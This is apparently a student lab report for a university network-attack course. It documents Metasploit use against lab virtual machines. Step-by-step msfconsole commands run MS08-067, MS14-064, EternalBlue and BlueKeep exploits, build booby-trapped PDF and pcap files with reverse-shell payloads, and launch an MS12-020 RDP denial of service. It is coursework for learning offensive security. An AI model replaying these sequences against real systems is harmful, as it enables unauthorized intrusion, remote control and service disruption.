2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp6 MSF基础应用
一、实践目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、实践内容
- 一个主动攻击实践,如ms08_067;
- 一个针对浏览器的攻击,如ms11_050;
- 一个针对客户端的攻击,如Adobe;
- 成功应用任何一个辅助模块。
三、实践原理
- MSF基本框架
-
主要模块
-
模块是指Metasploit框架中所使用的一段软件代码组件。
- 渗透攻击模块(Exploit Modules)
- 辅助模块(Auxiliary Modules
- 攻击载荷(Payload Modules)
- 空字段模块(Nop Modules)
- 编码模块(Encoders)
- 后渗透攻击模块(Post)
-
通过命令进入源码目录:
/usr/share/metasploit-framework/modules
也可以看到相应模块
-
-
msfconsole的相关操作
- 查看模块的具体信息:info
- 查看回链攻击载荷:show payloads
- 查看设置信息:show options
- 查看攻击目标类型:show target
- 查找命令:search + 查找信息
- 列出会话:sessions -l
四、实验步骤
任务一:一个主动攻击实践
ms08-067(成功)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows 2000 Professional(192.168.11.145)
实验准备
- 测试靶机与攻击机之间能否ping通
- 攻击机 kali 通过命令
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.11.145
试探靶机是否存在此漏洞
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
set RHOST 192.168.11.145
set target 0
exploit
- 发现攻击成功,这里用的所攻击的靶机是 Windows 2000 ,可以输入ver查看系统版本
- 还可以输入其他命令获取信息,例如dir
任务二:一个针对浏览器的攻击
(一)MS14-064---win7篇(失败且唯一)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)
IE版本:8.0.7601.17514
-
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
-
use exploit/windows/browser/ms14_064_ole_code_execution
-
show payloads
//显示可用攻击载荷
-
set payload windows/meterpreter/reverse_tcp
-
set SRVHOST 192.168.11.128
//设置攻击机IP -
set LHOST 192.168.11.128
//攻击机IP -
set LPORT 5218
//设置攻击端口 -
show targets
-
set target 1
-
show options
-
exploit
-
将生成的URL地址在 win7 的IE浏览器中打开
- 回到 kali 发现似乎没有成功。回车一下,通过 sessions 查看会话状态,果然没有成功建立会话连接
- 尝试换一个载荷 windows/shell_bind_tcp 进行攻击
- 将生成的URL地址在 win7 的IE浏览器中打开
- 结果仍然没有成功获取会话连接
- 多次尝试攻击win7的IE发现都是无法获取到成功的会话连接,上网查询相关原因,发现有人说是最新win7已经修复了这个漏洞,只能尝试攻击其他系统
(二)MS14-064(payload windows/shell_bind_tcp)---winxp篇(成功且唯一)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
IE版本:8.0.6001.18702
-
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
-
use exploit/windows/browser/ms14_064_ole_code_execution
-
set payload windows/shell_bind_tcp
-
set SRVHOST 192.168.11.128
//设置攻击机IP -
set LHOST 192.168.11.128
//攻击机IP -
set LPORT 5218
//设置攻击端口 -
show targets
-
set target 0
show options
发现还需要设靶机IP
-
set RHOST 192.168.11.146
//靶机IP -
exploit
-
将生成的URL地址在 win7 的IE浏览器中打开
- 回到 kali 发现好像是成功。回车一下,通过 sessions 查看会话状态,发现有一个会话连接。通过输入sessions -i 1获取第一个会话连接,并输入ipconfig验证为靶机地址,还可以输入ver获取系统版本信息
(三)ms17_010---win7篇(成功)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)
IE版本:8.0.7601.17514
-
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
-
use exploit/windows/smb/ms17_010_eternalblue
-
show payloads
//显示可用攻击载荷
-
set payload generic/shell_reverse_tcp
-
set RHOST 192.168.11.144
//靶机IP -
set LHOST 192.168.11.128
//攻击机IP -
set LPORT 5218
//设置攻击端口 -
show options
-
exploit
-
在靶机 win7 的IE浏览器输入
https://攻击机IP:监听端口
- 回到 kali 发现攻击成功。回车一下,出现命令行
- 通过命令ver获取系统版本(这里竟然乱码了...),通过命令 ipconfig 查看验证靶机IP地址
任务三:一个针对客户端的攻击
(一)Adobe(成功)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
-
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
-
search adobe
//进行查找
-
use windows/fileformat/adobe_cooltype_sing
-
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.11.128
//攻击机IP -
set LPORT 5218
//设置攻击端口 -
show options
-
exploit
-
生成msf.pdf(之前可以通过命令set FILENAME +名字 来生成自定义的名字)保存在
/home/kali/.msf4/local
目录下 -
另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中
-
输入命令
mv msf.pdf /home/kali/wlgf/exp6
将生成的 msf.pdf 移动到指定目录下 -
然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上
-
控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
exploit
- 然后在靶机 winxp 中双击运行 msf.pdf 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息
- 当在靶机将文件 msf.pdf 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭
(二)wireshark(成功)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
wireshark 版本:1.4.0.34005
-
在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:
-
use windows/fileformat/wireshark_packet_dect
-
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.11.128
//攻击机IP -
set LPORT 5218
//设置攻击端口 -
set FILENAME 20175218cjy.pcap
//设置生成文件的名字 -
exploit
-
生成 20175218cjy.pcap 保存在
/home/kali/.msf4/local
目录下 -
另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中
-
输入命令
mv 20175218cjy.pcap /home/kali/wlgf/exp6
将生成的 20175218cjy.pcap 移动到指定目录下 -
然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上
-
控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
exploit
- 然后在靶机 winxp 中双击运行 20175218cjy.pcap 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息
- 当在靶机将文件 20175218cjy.pcap 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭
任务四:成功应用任何一个辅助模块
在实验二最初接触MSF的时候,在网上进行搜索,无意间发现了这个攻击,但是由于但是对MSF模块也不是很熟悉就放弃了。这次利用模块进行攻击,我就想起这个来了,然后在这里就进行尝试,不知道有没有人跟我一样用到这个(这个攻击在网上挺容易搜到的......)
(一)kali-蓝屏攻击(ms12-020)--win7篇(失败且唯一)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)
- 在 kali 中输入
cd /usr/share/metasploit-framework/modules/auxiliary
进入辅助模块,输入ls查看到 dos ,进入/dos/windows/rdp
就可以看到 ms12-020 了
- 在攻击机 kali 中通过 msfconsole 进入控制台,输入命令
search ms12-020
搜索到 ms12-020 模块
-
其中,上面那个
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
是攻击模块,这里暂时先不用它,先用下面的搜索模块进行搜索,查看是否具有攻击条件 -
输入
use auxiliary/scanner/rdp/ms12_020_check
//使用搜索模块 -
然后输入
show options
查看配置信息
-
可以看到这个攻击需要靶机开启3389端口,而且是启动 RDP 服务的(远程桌面控制)。看来这个条件还是略微有点复杂,这里就先在win7上打开3389端口和启动 RDP 服务,具体方法参考开启和关闭远程Windows系统3389端口和RDP服务开启
-
然后在 kali 中输入
set RHOSTS 192.168.11.1/24
//设置扫描网段 -
在通过 run 开始扫描网段内 3389 打开的地址
-
当扫描到 192.168.11.144 的时候,发现它的 3389 端口是打开的,接下来就可以进行攻击了,也就是使用
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
模块
-
依次输入以下命令:
-
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
-
set RHOST 192.168.11.144
//靶机IP -
show options
run
-
很兴奋得输入run回车,转到win7就等着出现蓝屏,结果等了一会,啥反应也没有。回到 kali 一看,发现显示说 RDP 服务没开。
-
这就很纳闷了,明明是打开的,为啥不行呢,上网查了之后发现说最新的win7已经修复了这个漏洞,我......这个是不是得弄个老版没有打啥补丁的win7来啊......唉,还是换个系统看看
(二)kali-蓝屏攻击(ms12-020)--windows server 2008篇(成功且唯一)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows server 2008(192.168.11.132)
-
同样还是先进行扫描,条件具备后,现在进行攻击
-
依次输入以下命令:
-
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
-
set RHOST 192.168.11.132
//靶机IP -
run
- 这次我就先在 kali 等着,发现显示 down ,赶紧到 Windows server 2008 一看,果然蓝屏了!
为了防止跟同学重复(毕竟网上比较容易看到这个蓝屏攻击(ms12-020),于是我继续做了一个辅助模块的)
(三)CVE-2019-0708漏洞复现(成功且唯一)
实验环境
攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
- 在攻击机 kali 中通过 msfconsole 进入控制台,通过 search 0708 搜索0708相关模块,这里先使用扫描模块
-
依次输入以下命令:
-
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
//使用扫描模块 -
show options
-
set RHOST 192.168.11.146
//靶机IP -
run
-
发现这个也是利用了 3389 端口以及远程桌面控制,那几个RDP服务都是启用的(这个也能造成蓝屏)。扫描结果说可以攻击,但是有可能被杀掉,先不管,攻击了再说(为啥攻击就觉得很兴奋...)
-
依次输入以下命令:
-
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
//使用攻击模块 -
show targets
//选择目标主机类型 -
set target 4
-
set RHOST 192.168.11.146
//靶机IP -
run
-
结果真如扫描一样,可能被杀掉这个,但是没关系,可以重复 run 直到出现会话连接
-
出现会话连接,我到 winxp 上查看,发现竟然没有蓝屏
- 回到kali中,回车一下,出现命令行,通过命令 ver 可以查看系统版本
关于没有蓝屏,我觉得可能就是因为这个杀掉了的原因,但是通过多次攻击run,建立了会话,还是可以获取shell,但是蓝屏却弄不了了,这个还是winxp,网上很多人都是win7及以上基本上都修复了这个漏洞,所以这里就没有测试win7了(不想第三次在win7上摔倒...)
五、实验中遇到的问题
问题一
这其实是我的辅助模块的一个尝试,就是利用辅助模块中的docx,也就是通过生成一个docx文件,然后启用监听,在靶机上运行,然后获取回连。我攻击的对象是winxp,由于在winxp上没有安装打开docx的word之类的软件,然后又由于winxp系统的版本比较老,所以上网搜索可以适用的word版本,发现wps都可以适用。然后下载安装wps,用wps打开文件,结果发现不能建立回连,在kali上都没反应。
解决方法: 后来重新上网查询,发现word2003可以适用于winxp,于是又下载了word2003。然后重新选择载荷,重新生成了一个docx文件,复制到winxp中用word打开,发现成功建立回连,这好像跟office有关,这个攻击也是针对office的一个攻击,幸好2003版本也是比较老了,不然攻击成功与否还是难以预料的,由于做的时候出错了,也算是在尝试,没有截图,所以不好写入实验步骤中,就没有写进去了,仅在这里进行阐述。
还有一个不算问题,就是最后每次在攻击前将虚拟机拍摄一个快照,这样如果真的把虚拟机弄崩了(几率较小),还可以回到之前的状态而不用重新安装虚拟机,这也算是一个建议吧。
六、实践思考
问题一
(1)用自己的话解释什么是exploit,payload,encode.
答:
- 对于exploit,中文意思有利用的意思。就是像开始一样,进行渗透攻击。然后进一步说,就像在实验中,每一次设置好之后都会进行exploit,这也是最激动兴奋的时候,因为一执行它,攻击或者扫描就开始了。当然也可以用run,它们是等效的,就像我在做辅助模块那就是用的run;
- 对于payload,中文意思是有效载荷的意思。比如飞机啊,轮船啊等,它们都有荷载,如果没有荷载或者荷载匹配错误的话,那么将无法运行。实验中也是一样,如果不设置荷载或者荷载设置错误,那么是无法进行攻击的;
- 对于encode,中文意思是编码的意思。我觉得就是可以通过编码来对一些代码进行修改。就比如我们之前做过的后门程序,可以通过编码来消除一些特征码来降低被杀软查杀的概率。
七、离实战还缺些什么技术或步骤?
答:通过这次实验,我还是知道这些攻击的不容易,跟实战还是有一定的差距的,比如:
- 缺少丰富的攻击手法,只熟悉尝试过的几种攻击手法,其他的需要在尝试中才能熟练了解。一旦靶机进行了相应的打补丁修复等,如果没有新的攻击方式,那么是很难攻击成功的,而且在实战中也没有这么多去尝试的机会
- 对靶机要求性高,就像我被win7都制裁了两次,只能去找那些发行时间早的系统来攻击才能成功,比如winxp或者更古老的win2000。而且还要打开什么端口啊,开启什么服务啊,就像这次实验中打开3389端口和RDP服务一样,需要这些要求满足才能进行相应攻击
- 对于一些需要植入攻击,如果没有什么隐蔽保护机制,就像加壳,或者说免杀这个的话,很容易在植入时就被杀软发现了,或者是想要运行时就被杀软拦截了,所以还是有一定困难的;而对于针对浏览器的网站攻击,需要靶机去登录这个网站,一般来说,对于这些奇怪的网站,一般的不会去进入的,除非是有一些诱导手段,或者执行跳转,还是有一定困难的
八、实验收获与感想
这次实验,总的来说不是很困难,但是做得还算比较顺利,特别是跟上一次实验对比,简直是轻松太多了(还在上一次实验阴影中...)。而且这次实验的过程还非常有趣,富有挑战性,每一次攻击都是一次挑战,攻击成功就是挑战成功,攻击失败则为挑战失败,很刺激。当然成功的时候很高兴,失败就不行了(被win7制裁2次...)。总而言之,这次实验,通过不断尝试利用MSF进行攻击,这样来掌握了metasploit的基本应用方式,对常用的三种攻击方式也熟悉了不少,学到了很多,但是同时也知道,自己对于真的的技术还是差很多的,就像这次,被win7都制裁了三次,只能拿winxp来,或者更古老的win2000来出气......所以希望在以后的学习中能够学到更多,不断充实自己。